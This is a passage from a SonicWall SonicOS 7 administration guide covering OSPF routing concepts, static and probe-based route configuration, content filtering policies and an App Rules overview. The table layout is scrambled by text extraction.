l Hello (OSPF type 1) Sent at a certain interval to establish and maintain relationships with neighboring OSPF routers, and elect Designated Routers. (Sent during the initialization and the 2-WAY phases on LSDB synchronization).
l Database Description (OSPF type 2) Sent between OSPF routers during the creation of an adjacency. During the Exstart phase of LSDB synchronization, DD packets establish an ISN (initial sequence number) used to track LSA's, and they establish a master/slave relationship between neighboring OSPF routers. In the Exchange phase of LSDB synchronization, they contain short versions of Link State Advertisements. Because DD exchanges can span multiple packets, they are exchanged in a poll (master) and response (slave) fashion to ensure completeness.
l Link State Request (OSPF type 3) During the Loading phase of LSDB synchronization, LSR packets are sent to request database updates from a neighbor. This is the final step in the establishment of an adjacency.
l Link State Update (OSPF type 4) Sent in response to Link State Requests, LSU packets flood adjacencies with Link State Advertisements to achieve LSDB synchronization.
l Link State Acknowledgment (OSPF type 5) To ensure reliability of LSA flooding, all updates are acknowledged.
l Link State Advertisements (LSA) There are 7 types of LSA's:
l Type 1 (Router Link Advertisements) - Sent by an OSPF router to describe the links to each area to which it belongs. Type 1 LSA's are only flooded into a router's area.
l Type 2 (Network Links Advertisements) Sent by the DR for an area describing the set of routers within the network. Type 2 LSA's are only flooded into a router's area.
l Type 3 (Summary Link Advertisements) Sent across areas by ABRs (Area Border Routers) to describe the networks within an area. Type 3 LSA's are also used for route aggregation purposes, and are not sent to Totally Stubby Areas.
l Type 4 (AS Summary Link Advertisements) Sent across areas by ABRs to describe networks within a different AS. Type 4 LSA's are not sent to Stub Areas.
l Type 5 (AS External Link Advertisements) Sent by ASBR (Autonomous System Boundary Routers) to describe routes to networks in a different AS. Type 5 LSA's are net sent to Stub Areas. There are two types of External Link Advertisements:
l External Type 1 - Type 1 packets add the internal link cost to the external link cost when calculating a link's metric. A Type 1 route is always preferred over a Type 2 route to the same destination.
l External Type 2 - Type 2 packets only use the external link cost to determine the metric. Type 2 is generally used when there is only one path to an external AS.
l Type 6 (Multicast OSPF or MOSPF) - Called source/destination routing, this is in contrast to most unicast datagram forwarding algorithms (like OSPF) that route based solely on destination. For more information about MOSPF, see RFC1584 Multicast Extensions to OSPF.
l Type 7 (NSSA AS External Link Advertisements) Sent by ASBRs that are part of an NSSA (see `Stub Area').
l Stub Area A stub area is an area that only requires one path, rather than an optimal path. This can be an area with only a single point of egress, or it can be an area where SPF optimization is not necessary. All routers in a stub area must be configured as stub routers, and rather than receiving the full state database, and computing the SPF tree, they receive
SonicOS 7 Rules and Policies Administration Guide
80
Routing Rules
only summary link information. There are different type of stub area:
l Stub area The standard stub area receives all LSA's except for LSA type 5 (AS External Link advertisement). This helps to keep the LSDB smaller, and reduces the computational overhead on the router.
l Totally Stubby Area A special type of stub area into which LSA types 3 (Summary Links), 4 (AS Summary Links) and 5 are not passed. Only intra-area routes, and a default route are advertised into totally stubby areas.
l NSSA (Not So Stubby Area) Described by RFC3101, NSSA is a hybrid stub area that allows external routes to be flooded within the NSSA area using type 7 LSA's (NSSA AS External Routes), but does not accept type 5 LSA's from other areas. NSSAs are useful when connecting a remote site running a different IGP (such as RIP) to an OSPF site, where the remote site's routes do not need to be distributed back to the main OSPF site. An NSSA ABR (Area Border Router) also has the ability to translate type 7 to type 5 LSA's (this is possible only from the SonicOS CLI).
l Router Types OSPF recognizes 4 types of routers, based on their roles; see OSPF-Recognized Router Types Example.
OSPF-RECOGNIZED ROUTER TYPES EXAMPLE
l IR (Internal Router) - A router whose interfaces are all contained within the same area. An internal router's LSDB only contains information about its own area.
l ABR (Area Border Router) A router with interfaces in multiple areas. An ABR maintains LSDBs for each area to which it is connected, one of which is typically the backbone.
l Backbone Router A router with an interface connected to area 0, the backbone.
l ASBR (Autonomous System Boundary Router) A router with an interface connected to a non-OSPF AS (such as a RIP network) which advertises external routing information from that AS into the OSPF AS.
SonicOS 7 Rules and Policies Administration Guide
81
Routing Rules
Drop Tunnel Interface
A drop tunnel interface prevents traffic from being sent out using an incorrect route when the configured route is down. Traffic sent to a drop tunnel interface does not leave the appliance, but is ostensibly dropped.
A drop tunnel interface should be used in conjunction with a VPN tunnel interface, although a drop tunnel interface can be used standalone. If a static route is bound to a tunnel interface, SonicWall recommends configuring a static route bound to a drop tunnel interface for the same network traffic. That way, if the tunnel interface goes down, the second static route is used and the traffic is effectively dropped. This prevents the data from being forwarded in the clear over another route.
When configuring a route over a VPN tunnel interface, if the tunnel is temporarily down, the corresponding route entry is disabled as well. SonicOS looks up a new route entry for the connections destined for the VPN protected network. In deployments that do not have a backup link for a remote VPN network, no other correct route entry is available. Traffic is sent to a wrong route entry, generally the default route, which causes security issues such as internal data sent without encryption.
For deployments without a backup link, consider configuring the route table as in this example:
route n: local VPN network(source), remote VPN network(destination), VPN TI (egress_if)
route n+1: local VPN network(source), remote VPN network(destination), Drop If (egress_if)
When the VPN tunnel interface configured as in this example, the traffic matches the drop interface and is not sent out. When the VPN tunnel interface resumes, traffic resumes also.
App-based Routing
App-based Routing is a kind of PBF (policy-based forwarding) rule that allows traffic to take an alternative path from the next hop specified in the route table and is typically used to specify an egress interface for security or performance reasons.
When an App-based Route entry is created, at the beginning the appliance does not have enough information to identify the application and, therefore, cannot enforce the route entry. As more packets arrive, the appliance determines the application and creates an internal entry in the App-ID cache, which is retained for the session. When a new session is created with the same destination IP address, destination port, and protocol ID, the appliance could identify the application as the same from the initial session and apply the App-based Route. Therefore, a session that is not an exact match and is not the same application, cannot be forwarded based on the App-based Route.
This feature is available only when Gateway AV/Anti-Spyware/Intrusion Prevention/App Control/App Visualization is licensed and App Control is enabled in Policy | Policies & Rules > App Control.
SonicOS 7 Rules and Policies Administration Guide
82
Routing Rules
Rules and Policies > Routing Rules
If you have routers on your interfaces, you configure static routes on the SonicWall appliance on the POLICY | Rules and Policies > Routing Rules page. You can create static routing policies that create static routing entries that make decisions based upon source address, source netmask, destination address, destination netmask, service, interface, gateway and metric. This feature allows for full control of forwarding based upon a large number of user-defined variables.
Topics: l Configuring Routing Rules
Configuring Routing Rules
If you have routers on your interfaces, you can configure the SonicWall appliance to route network traffic to specific predefined destinations. Static routes must be defined if the network connected to an interface is segmented into subnets, either for size or practical considerations. For example, a subnet can be created to isolate a section of a company, such as finance, from network traffic on the rest of the LAN, DMZ, or WAN. When configuring a static route, you can optionally configure a Network Monitor policy for the route. When a Network Monitor policy is used, the static route is dynamically disabled or enabled, based on the state of the probe for the policy. For more information, see Probe-Enabled Policy-based Routing Configuration.
Topics: l Adding Static Routes l Probe-Enabled Policy-based Routing Configuration
Adding Static Routes
To add a static route: 1. Navigate to the POLICY | Rules and Policies > Routing Rules page.
SonicOS 7 Rules and Policies Administration Guide
83
Routing Rules
2. Click +Add (in the bottom left corner). The Add Route Policy dialog displays.
3. In the Lookup view, enter a friendly name for this route policy in Name. 4. Type a descriptive comment into the Comment field. 5. Indicate the Type as IPv4 or IPv6. 6. Select the source address object from Source. 7. Select the destination address object from Destination. 8. Specify the type of service that is routed from Service Object. 9. Click Save or click to the Next Hop view to continue the configuration. 10. Choose the type of route:
l Standard Route (default) l Multi-Path Route l SD-WAN Route 11. Select the interface through which these packets are routed from Interface. 12. Select the address object that acts as a gateway for packets matching these settings from Gateway. 13. Specify the RIP metric in the Metric field. 14. Click Save or click to the Advanced view to continue the configuration. 15. Optionally select Disable route when the interface is disconnected. 16. Select Allow VPN path to take precedence to allow a matching VPN network to take precedence over the static route when the VPN tunnel is up. This option is not selected by default. 17. Enter the ToS hexadecimal value in the TOS (Hex) field. 18. Enter the ToS Mask hexadecimal value in the TOS Mask (Hex) field. 19. Enter a value for the Admin Distance, or select Auto for an automatically created Admin Distance. 20. Click Save or click to the Probe view to continue the configuration. 21. Select a probe type from Probe. The default is None. If a probe type is selected additional options become available. 22. Select Disable route when probe succeeds. This option is not selected by default. 23. Select Probe default state is UP.
SonicOS 7 Rules and Policies Administration Guide
84
Routing Rules
24. When you are finished, click Save. The route settings are configured for the selected SonicWall appliance(s).
Probe-Enabled Policy-based Routing Configuration
You can optionally configure a Network Monitor policy for the route. When a Network Monitor policy is used, the static route is dynamically disabled or enabled, based on the state of the probe for the policy.
Policy-based Routing is fully supported for IPv6 by selecting IPv6 address objects and gateways for route policies on the POLICY | Rules and Policies > Routing Rules page. IPv6 address objects are listed in the Source, Destination, and Gateway columns of the Route Policies table. Configuring routing policies for IPv6 is nearly identical to IPv4.
To configure a policy-based route: 1. Navigate to the POLICY | Rules and Policies > Routing Rules page. 2. Click +Add (in the bottom left corner). The Add Route Policy dialog displays.
3. Click the Probe view and select the appropriate Probe object or select Create New Network Monitor Object... to dynamically create a new object.
4. Select the Probe default state is UP to have the route consider the probe to be successful (such as in the UP state) when the attached Network Monitor policy is in the UNKNOWN state. This is useful to control the probe-based behavior when a unit of a High Availability pair transitions from IDLE to ACTIVE, because this transition sets all Network Monitor policy states to UNKNOWN.
5. Click Save to apply the configuration.
NOTE: Typical configurations do not have Disable route when probe succeeds checked because typically a route is disabled when a probe to the route's destination fails. This option is provided to give you added flexibility for defining routes and probes.
SonicOS 7 Rules and Policies Administration Guide
85
Routing Rules
4
Content Filter Rules
Topics:
l About Content Filtering Service (CFS)
l About Content Filter Rules l About UUIDs for CFS Policies l About Content Filter Objects l How CFS Works l Configuring CFS Policies
l About the Content Filter Rule Table l Adding a Content Filter Rule l Editing a Content Filter Rule l Deleting Content Filter Rules
About Content Filtering Rules (CFS)
The SonicWall Content Filtering Service (CFS) delivers content filtering enforcement for educational institutions, businesses, libraries, and government agencies. With Content Filter policies and objects, you can control the websites students and employees can access using their IT-issued computers while behind the organization's firewall.
For more information about CFS, as well as how to license and install it, see the SonicWall Content Filtering Service Upgrade Guide. For how to create Content Filter Objects for CFS policies, see Configuring Content Filter Objects.
CFS compares requested websites against a massive cloud database that contains millions of rated URIs, IP addresses, and websites. It also provides you with the tools to create and apply policies that allow or deny access to sites based on individual or group identity and/or by time of day.
About Content Filter Rules
A Content Filter policy determines whether a packet is filtered (by applying the configured CFS Action) or simply allowed through to the user. In SonicOS, Content Filter policies can contain inclusion and exclusion objects for Source Address and User/Group. A Content Filter policy defines the filtering conditions to which a packet is compared:
SonicOS 7 Rules and Policies Administration Guide
86
Content Filter Rules
l Name l Source Address Included l Source Address Excluded
l Source Zone l User/Group Included l User/Group Excluded
l Destination Zone l Schedule
If a packet matches all the defined conditions, the packet is filtered according to the corresponding CFS Profile, and the CFS Action is applied.
NOTE: If authentication data for User/Group is not available during matching, no match is made for this condition. This strategy prevents performance issues, especially when Single Sign-On is in use.
Each Content Filter policy has a priority level, and policies with higher priorities are checked first.
CFS uses a policy table internally to manage all the configured policies. For each policy element, the table is constructed by the configuration data and runtime data. The configuration data includes parameters that define the policy from the user interface, such as policy name, properties and others. The runtime data includes the parameters used for packet handling.
CFS also uses a policy lookup table to accelerate runtime policy lookup for matching conditions:
l Source zone l Destination zone l IPv4 Address Object l IPv6 Address Object
About UUIDs for CFS Policies
SonicOS automatically generates and binds UUIDs (Universally Unique Identifiers) to CFS Policies during their creation.
SonicOS also generates and binds UUIDs to CFS objects and groups during creation. See About UUIDs for CFS Objects for more information.
A UUID consists of 32 hexadecimal digits displayed in five-character groups that are separated by hyphens. A UUID is generated at the creation of a policy and remains the same thereafter, even when the policy is modified or after rebooting the firewall. The UUID is removed when the policy is deleted and is not reused once removed. UUIDs are regenerated after restarting the appliance with factory default settings.
When displayed, UUIDs appear in the policy table on the POLICY | Rules and Policies > Content Filter Rules page.
By default, UUIDs are not displayed. UUID display is controlled by an internal setting. For more information, contact SonicWall Technical Support. UUIDs facilitate the following functions:
You can search for a CFS Policy by UUID with the global search function of the management interface.
If a CFS Action Object, CFS Profile Object, URI List Object or Group, Address Object, User Object, Schedule Object, or Zone Object is used by a Content Filter Rule, you can display the reference count and referenced policy by mousing over the balloon in the Comment column on the object's page under OBJECT I Match Objects > Content Filter/URL | CFS Action Objects. Clickable links in the pop-up let you jump to the referring CFS Policy.
SonicOS 7 Rules and Policies Administration Guide
87
Content Filter Rules
About Content Filter Objects
CFS uses Content Filter Objects in Content Filter Rules to identify URIs and domains for filtering and to specify the type of action to be taken when filtering.
Under the CFS rating design, a domain may be resolved to one of four ratings; from highest to lowest priority, the ratings are:
1. Block 2. Passphrase 3. Confirm 4. BWM (bandwidth management)
If the URL is not categorized into any of these ratings, then the operation is allowed. For more information about Content Filter Objects, see Configuring Content Filter Objects.
How CFS Works
CFS must be licensed and enabled before you can use it. For more information about global CFS settings, exclusions, and custom categories, see the SonicOS Security Services Administration documentation.
An outline of how CFS works is as follows: 1. A packet arrives and is examined by CFS. 2. CFS checks it against the CFS Exclusion addresses configured on the POLICY | Security Services > Content Filter page and allows it through if a match is found, meaning that the source address is excluded from content filtering. 3. CFS checks its policies to find the first policy that matches these conditions in the packet: l Source zone l Destination zone l Included Source Address object/group, but not matching the Excluded Source Address object/group l Included User/Group, but not matching the Excluded User/Group l Schedule l Enabled state 4. CFS uses the CFS Profile defined in the matching policy to do the filtering and returns the corresponding action for this packet. NOTE: If no policy is matched, the packet is passed through without any action by CFS. 5. CFS performs the action defined in the CFS Action Object for the matching policy.
Configuring CFS Policies
This describes the Content Filter policy table and provides instructions for configuring, editing, and deleting a Content Filter policy.
SonicOS 7 Rules and Policies Administration Guide
88
Content Filter Rules
l About the Content Filter Rule Table l Adding a Content Filter Rule l Editing a Content Filter Rule l Deleting Content Filter Rules
About the Content Filter Rule Table
Name Source Zone Destination Zone Source Address Included Source Address Excluded User/Group Included User/Group Excluded Schedule Profile
Name of the Content Filter policy. Source zone for the Content Filter policy. Destination zone for the Content Filter policy. Source address object/group included for the Content Filter policy. Source address object/group excluded from the Content Filter policy. User or group to which the Content Filter policy applies. User or group excluded from the Content Filter policy. Time that the Content Filter policy is in effect. CFS profile object used by the Content Filter policy. Mousing over the CFS profile object name displays the particulars of the CFS profile:
Action
CFS action object used by the Content Filter policy. Mousing over the CFS action object name displays the particulars of the CFS action:
SonicOS 7 Rules and Policies Administration Guide
89
Content Filter Rules
Priority
Clicking the Priority for a Content Filter policy displays the Change CFS Policy Priority pop-up menu:
Enabled Configure
The priority of the Content Filter policy is displayed after From. You can change the priority by entering a number in the To field. The highest priority is 1; 0 is the lowest priority.
To enable the Content Filter policy, select the Enabled checkbox. The default policy, CFS Default Policy, is enabled by default.
Displays these icons for each policy:
l Clear this entry: Clicking this icon clears the Content Filter policy. A confirmation dialog displays.
l Edit this entry: Clicking this icon displays the Edit CFS Policy dialog.
l Delete this entry: Clicking this icon deletes the Content Filter policy. A confirmation dialog displays. Click OK. NOTE: The default Content Filter policy, CFS Default Policy, cannot be deleted, and the icon is dimmed.
Searching the Content Filter Rule Table
To search the table for a specific Content Filter policy name: 1. Enter the policy name in the Search field at the top of the table. 2. Press Enter.
SonicOS 7 Rules and Policies Administration Guide
90
Content Filter Rules
Adding a Content Filter Rule
To add a Content Filter policy: 1. Navigate to POLICY | Rules and Policies > Content Filter Rules.
2. Click +Add. The Add CFS Policy dialog displays.
3. In the Name field, enter a friendly, meaningful name for the new policy. 4. From the Source Zone drop-down menu, choose a zone. 5. From the Destination Zone drop-down menu, choose a zone. 6. From the Source Address Included drop-down menu, choose an address object or group to which
the policy applies. The default is Any. You can create a new address object by choosing Create new Address; for information about creating an address object, see Configuring Addresses. 7. From the Source Address Excluded drop-down menu, choose an address object or group which is excluded from the policy. The default is None. You can create a new address object by choosing Create new Address.
The included and excluded Source Address objects/groups provide flexibility within the same policy. For example, you can apply the policy to a large address range, while excluding a smaller subset of that range. 8. From the User/Group Included drop-down menu, choose the user or group to which the policy applies. The default is All.
SonicOS 7 Rules and Policies Administration Guide
91
Content Filter Rules
9. From the User/Group Excluded drop-down menu, choose the user or group which is excluded from the policy. The default is None. The included and excluded User/Groups provide flexibility within the same policy. For example, you can apply the policy to a large group, while excluding one user or a smaller subset of the group.
10. From the Schedule drop-down menu, choose when the policy is in effect. The default is Always On. You also can create a customized schedule by choosing Create new Schedule; for information about creating a schedule, see SonicWall SonicOS System Setup.
11. From the Profile drop-down menu, choose a CFS profile object. You also can create a new CFS profile object by choosing Create new Profile; for information about creating a CFS profile object, see Configuring Content Filter Objects.
12. From the Action drop-down menu, choose a CFS action object. You also can create a new CFS action object by choosing Create new Action; for information about creating a CFS action object, see Managing CFS Action Objects.
13. Click OK.
Editing a Content Filter Rule
To edit a Content Filter policy: 1. Navigate to POLICY | Rules and Policies > Content Filter Rules. 2. Click the Edit icon for the Content Filter policy to be edited. The Edit CFS Policy dialog displays. NOTE: You cannot edit the default policy, CFS Default Policy. Its Edit icon is dimmed. 3. To make your changes, follow the steps in Adding a Content Filter Rule.
Deleting Content Filter Rules
To delete one or more Content Filter policies: 1. Do one of the following: l Click the Delete icon in the Configure column for the Content Filter policy to be deleted. NOTE: You cannot delete the default policy, CFS Default Policy. Its Delete icon is dimmed. l Select the checkbox for one or more Content Filter policies to be deleted. Select Delete Selected from the Delete drop-down menu at the top of the page. 2. Click OK in the confirmation dialog.
To delete all Content Filter policies: 1. Select Delete All from the Delete drop-down menu at the top of the page. All Content Filter policies are deleted except for the default policy, CFS Default Policy. 2. Click OK in the confirmation dialog.
SonicOS 7 Rules and Policies Administration Guide
92
Content Filter Rules
5
Topics:
l About App Rules
l What are App Rules? l Benefits of App Rules l How Does Application Control Work? l About App Rules Policy Creation l Licensing App Rules and App Control l Terminology l Rules and Policies > App Rules
l Configuring an App Rules Policy l Using the App Rule Wizard l Verifying App Rules Configuration
l Useful Tools l App Rules Use Cases
l Creating a Regular Expression in a Match Object l Policy-based Application Rules l Logging Application Signature-based Policies l Compliance Enforcement l Server Protection l Hosted Email Environments l Email Control l Web Browser Control l HTTP Post Control l Forbidden File Type Control l ActiveX Control l FTP Control l Bandwidth Management l Bypass DPI l Custom Signature l Reverse Shell Exploit Prevention
App Rules
SonicOS 7 Rules and Policies Administration Guide
93
App Rules
About App Rules
This provides an overview of the App Rules feature in SonicOS.
Topics:
l What are App Rules? l Benefits of App Rules l How Does Application Control Work? l About App Rules Policy Creation l Licensing App Rules and App Control l Terminology
What are App Rules?
App Rules provide a solution for setting policy rules for application signatures. As a set of application-specific policies, App Rules provide you with granular control over network traffic on the level of users, email addresses, schedules, and IP-subnets. The primary functionality of this application-layer access control feature is to regulate Web browsing, file transfer, email, and email attachments.
The ability to control application layer traffic in SonicOS is significantly enhanced with the ability to view realtime application traffic flows, and new ways to access the application signature database and to create application layer rules. SonicOS integrates application control with standard network control features for more powerful control over all network traffic.
Topics:
l About App Rules Policies l About App Rules Capabilities
About App Rules Policies
SonicOS provides the following ways to create App Rules policies and control applications in your network:
l POLICY | Rules and Policies > App Rules The POLICY | Rules and Policies > App Rules page provides a way to create an App Rules policy. Policies created using App Rules are very targeted because they combine a match object, action object, and possibly an email address object into a policy. For flexibility, App Rules policies can access the same application controls for any of the categories, applications, or signatures available on the POLICY | Rules and Policies > App Control page. The OBJECT > Match Objects page provides a way to create Application List objects, Application Category List objects, and Application Signature List objects for use as match objects in an App Rules policy. The Match Objects page is also where you can configure regular expressions for matching content in network traffic. The OBJECT > Action Objects pages allows you to create custom actions for use in the policy.
l POLICY | Rules and Policies > App Control The POLICY | Rules and Policies > App Control page provides a different way to create an application control policy. For more information, see Configuring App Control.
SonicOS 7 Rules and Policies Administration Guide
94
App Rules
l App Rule Guide The App Rule Guide (wizard) provides safe configuration of App Rules policies for many common use cases, but not for everything.
About App Rules Capabilities
App Rules data leakage prevention component provides the ability to scan files and documents for content and keywords. Using App Rules, you can restrict transfer of certain file names, file types, email attachments, attachment types, email with certain subjects, and email or attachments with certain keywords or byte patterns. You can deny internal or external network access based on various criteria. You can use Packet Monitor to take a deeper look at application traffic, and can select among various bandwidth management settings to reduce network bandwidth usage by an application.
Based on SonicWall's Reassembly-Free Deep Packet InspectionTM (RF-DPI) technology, App Rules also features intelligent prevention functionality which allows you to create custom, policy-based actions. Examples of custom actions include the following:
l Blocking entire applications based on their signatures l Blocking application features or sub-components l Bandwidth throttling for file types when using the HTTP or FTP protocols l Blocking an attachment l Sending a custom block page l Sending a custom email reply l Redirecting an HTTP request l Sending a custom FTP reply over an FTP control channel
While App Rules primarily provides application level access control, application layer bandwidth management and data leakage prevention, it also includes the ability to create custom application or protocol match signatures. You can create a custom App Rules policy that matches any protocol you wish, by matching a unique piece of the protocol. See Custom Signature.
App Rules provides excellent functionality for preventing the accidental transfer of proprietary documents. For example, when using the automatic address completion feature of Outlook Exchange, it is a common occurrence for a popular name to complete to the wrong address. See Automatic Outlook Exchange Automatic Address Completion for an example.
AUTOMATIC OUTLOOK EXCHANGE AUTOMATIC ADDRESS COMPLETION
Benefits of App Rules
The App Rules functionality provides the following benefits:
SonicOS 7 Rules and Policies Administration Guide
95
App Rules
l Application based configuration makes it easier to configure policies for application control. l The App Rules (App Control) subscription service provides updated signatures as new attacks
emerge. l The related Application Intelligence functionality, as seen in the MONITOR view on Appliance Health
| Live Monitor, is available upon registration as a 30-day free trial App Visualization license. This allows any registered SonicWall appliance to clearly display information about application traffic in the network. The App Visualization and App Control licenses are also included with the SonicWall Security Services license bundle.
NOTE: The feature must be enabled in the SonicOS management interface to become active.
l You can configure policy settings for individual signatures without influencing other signatures of the same application.
l App Rules and App Control configuration pages are available in the POLICY | Rules and Policies menus in the SonicOS management interface, consolidating all firewall and application control access rules and policies in the same area.
App Rules functionality can be compared to three main categories of products:
l Standalone proxy appliances l Application proxies integrated into firewall VPN appliances l Standalone IPS appliances with custom signature support
Standalone proxy appliances are typically designed to provide granular access control for a specific protocol. SonicWall application control provides granular, application level access control across multiple protocols, including HTTP, FTP, SMTP, and POP3. Because application control runs on your firewall, you can use it to control both inbound and outbound traffic, unlike a dedicated proxy appliance that is typically deployed in only one direction. Application control using App Rules and App Control provides better performance and scalability than a dedicated proxy appliance because it is based on SonicWall's proprietary Deep Packet Inspection technology.
Today's integrated application proxies do not provide granular, application level access control, application layer bandwidth management, and digital rights management functionality. As with dedicated proxy appliances, SonicWall application control provides much higher performance and far greater scalability than integrated application proxy solutions.
While some standalone IPS appliances provide protocol decoding support, none of these products supports granular, application level access control, application layer bandwidth management, and digital rights management functionality.
In comparing App Rules to SonicWall Email Security, there are benefits to using either. Email Security only works with SMTP, but it has a very rich policy space. App Rules works with SMTP, POP3, HTTP, FTP and other protocols, is integrated into SonicOS on the firewall, and has higher performance than Email Security. However, App Rules does not offer all the policy options for SMTP that are provided by Email Security.
How Does Application Control Work?
Application control using App Rules and App Control utilizes SonicOS Deep Packet Inspection (DPI) to scan application layer network traffic as it passes through the gateway and locate content that matches configured applications. When a match is found, these features perform the configured action. When you configure App Rules policies, you create global rules that define whether to block or log the application,
SonicOS 7 Rules and Policies Administration Guide
96
App Rules
which users, groups, or IP address ranges to include or exclude, and a schedule for enforcement. Additionally, you can create App Rules policies that define:
l Type of applications to scan l Direction, content, keywords, or pattern to match l User or domain to match l Action to perform
The following sections describe the main components of App Rules:
l About App Control Policy Creation l About App Rules Policy Creation l About Match Objects l About Application List Objects l About Action Objects
About App Rules Policy Creation
You can use App Rules to create custom App Rules policies to control specific aspects of traffic on your network. A policy is a set of match objects, properties, and specific prevention actions. When you create a policy, you first create a match object, then select and optionally customize an action, then reference these when you create the policy.
In the POLICY | Rules and Policy > App Rules page, you can access the Add App Rule dialog. The dialog options change depending on the Policy Type you select. For example, if SMTP Client is selected, the options are very different from a Policy Type of App Control Content.
Some examples of policies include:
l Block applications for activities such as gambling l Disable .exe and .vbs email attachments l Do not allow the Mozilla browser on outgoing HTTP connections
SonicOS 7 Rules and Policies Administration Guide
97
App Rules
l Do not allow outgoing email or MS Word attachments with the keywords, SonicWall Confidential, except from the CEO and CFO
l Do not allow outgoing email that includes a graphic or watermark found in all confidential documents
When you create a policy, you select a policy type. Each policy type specifies the values or value types that are valid for the source, destination, match object type, and action fields in the policy. You can further define the policy to include or exclude specific users or groups, select a schedule, turn on logging, and specify the connection side as well as basic or advanced direction types. A basic direction type simply indicates inbound or outbound. An advanced direction type allows zone to zone direction configuration, such as from the LAN to the WAN.
The App rules: Policy types table describes the characteristics of the available App Rules policy types.
APP RULES: POLICY TYPES
Policy Type
Description
Valid Source Valid
Service / Destination
Default
Service /
Default
Valid Match Valid Object Type Action
Type
Connection Side
App Control Content
Policy using Any / Any dynamic App Rules related objects for any application layer protocol
Any / Any
Application Reset/Drop N/A
Category List, No Action
Application Bypass DPI
List,
Packet
Application Monitor,
Signature List BWM
Global-*
WAN BWM *
Custom Policy
Policy using Any / Any custom objects for any application layer protocol; can be used to create IPSstyle custom signatures
Any / Any
Custom Object
Reset/Drop Client Side,
Bypass DPI Server Side,
Packet
Both
Monitor No
Action,
BWM
Global-*
WAN BWM *
FTP Client Any FTP
Any / Any
command
transferred
over the FTP
control
channel
FTP Control / FTP FTP Control Command,
FTP Command + Value, Custom Object
Reset/Drop Bypass DPI Packet Monitor No Action
Client Side
SonicOS 7 Rules and Policies Administration Guide
98
App Rules
Policy Type
Description
Valid Source Valid
Service / Destination
Default
Service /
Default
Valid Match Valid Object Type Action
Type
Connection Side
FTP Client An attempt to Any / Any
File
upload a file
Upload over FTP
Request (STOR
command)
FTP Control / Filename, file Reset/Drop Client Side FTP Control extension Bypass DPI
Packet Monitor No Action, BWM Global-* WAN BWM *
FTP Client An attempt to Any / Any
File
download a
Download file over FTP
Request (RETR
command)
FTP Control / Filename, file Reset/Drop Client Side FTP Control extension Bypass DPI
Packet Monitor No Action, BWM Global-* WAN BWM *
FTP Data Transfer Policy
Data
Any / Any
transferred
over the FTP
Data channel
Any / Any
File Content Object
Reset/Drop Bypass DPI Packet Monitor No Action
Both
HTTP Client
Policy which Any / Any is applicable to Web browser traffic or any HTTP request that originates on the client
Any / HTTP HTTP Host, Reset/Drop Client Side
(configurable) HTTP Cookie, Bypass DPI
HTTP
Packet
Referrer,
Monitor1 No
HTTP
Action,
Request
BWM
Custom
Global-*
Header,
WAN BWM *
HTTP URI
Content,
HTTP User
Agent, Web
Browser, File
Name, File
Extension
Custom
Object
SonicOS 7 Rules and Policies Administration Guide
99
App Rules
Policy Type HTTP Server
IPS Content
POP3 Client
POP3 Server
Description
Valid Source Valid
Service / Destination
Default
Service /
Default
Valid Match Valid Object Type Action
Type
Connection Side
Response Any / HTTP Any / Any originated by (configurable) an HTTP Server
ActiveX Class Reset/Drop Server Side
ID, HTTP Set Bypass DPI
Cookie, HTTP Packet
Response, Monitor No
File Content Action BWM
Object,
Global-*
Custom
WAN BWM *
Header,
Custom
Object
Policy using N/A
N/A
IPS Signature Reset/Drop N/A
dynamic
Category List, Bypass DPI
Intrusion
IPS Signature Packet
Prevention
List
Monitor No
related
Action,
objects for
BWM
any
Global-*
application
WAN BWM *
layer protocol
Policy to
Any / Any
inspect traffic
generated by
a POP3
client;
typically
useful for a
POP3 server
admin
POP3
Custom
(Retrieve
Object
Email) / POP3
(Retrieve
Email)
Reset/Drop Bypass DPI Packet Monitor No Action
Client Side
Policy to
POP3
inspect email (Retrieve
downloaded Email) /
from a POP3 POP3
server to a (Retrieve
POP3 client; Email)
used for
email filtering
Any / Any
Email Body, Email CC, Email From, Email To, Email Subject, File Name, File Extension, MIME Custom Header
Reset/Drop Server Side Disable EMail Attachment Add Text Bypass DPI No action
SonicOS 7 Rules and Policies Administration Guide 100 App Rules
Policy Type
Description
Valid Source Valid
Service / Destination
Default
Service /
Default
Valid Match Valid Object Type Action
Type
Connection Side
SMTP Client
Policy applies Any / Any to SMTP traffic that originates on the client
SMTP (Send Email Body, Reset/Drop Client Side
Email)/ SMTP Email CC, Block SMTP
(Send Email) Email From, E-Mail
Email To, Without
Email Size, Reply
Email
Bypass DPI
Subject,
Packet
Custom
Monitor No
Object, File Action
Content, File
Name, File
Extension,
MIME
Custom
Header,
1 Packet Monitor action is not supported for File Name or File Extension Custom Object.
Licensing App Rules and App Control
The Application Visualization and Control license has two components:
l The Visualization component provides identification and reporting of application traffic in the Appliance Health pages.
l The Control component allows you to create and enforce App Rules and App Control policies for logging, blocking, and bandwidth management of application traffic handled by your network.
Application Visualization and Control can also be licensed together in a bundle with other security services including SonicWall Gateway Anti-Virus (GAV), Anti-Spyware, and Intrusion Prevention Service (IPS).
NOTE: Upon registration on MySonicWall, or when you load SonicOS onto a registered SonicWall device, supported SonicWall appliances begin an automatic 30-day trial license for Application Visualization and Control, and application signatures are downloaded to the appliance.
A free 30-day trial is also available for the other security services in the bundle, but it is not automatically enabled as it is for Application Visualization and Control. You can start the additional free trials on the individual Security Services pages in SonicOS, or on MySonicWall.
After Real-Time data collection is manually enabled on the DEVICE | AppFlow > Flow Reporting page (see the Managing Flow Reporting Statistics section in the SonicOS Logs and Reporting technical documentation), you can view real-time application traffic on the Live Monitor page and see application activity in other MONITOR pages for the identified/classified flows from the firewall application signature database.
To begin using application control, you must enable it in the App Control Global Settings view of the POLICY | Rules and Policies > App Control page:
SonicOS 7 Rules and Policies Administration Guide 101 App Rules
To begin using policies created with App Rules and App Control, select Enable App Control on the POLICY | Rules and Policies > App Control | App Control Global Settings page.
NOTE: When the Enable App Control checkbox is selected from the POLICY | Rules and Policies > App Control | App Control Global Settings page, the dpi=1 Syslog tag is seen in Connection Closed Syslog messages for all traffic that passed through Deep Packet Inspection. Traffic that did not pass through DPI shows dpi=0 in the Connection Closed Syslog messages. For more information about the Index of Syslog Tags Field Descriptions or Syslog examples showing the SPI tag, see the SonicOS Log Events Administration Guide.
The SonicWall Licensing server provides the App Visualization and Control license key to the firewall when you begin a 30-day trial (upon registration) or purchase a Security Services license bundle.
Licensing is available on www.mysonicwall.com on the Service Management page under GATEWAY SERVICES.
The Security Services license bundle includes licenses for the following subscription services:
l App Visualization l App Control l Gateway Anti-Virus l Gateway Anti-Spyware l Intrusion Prevention Service
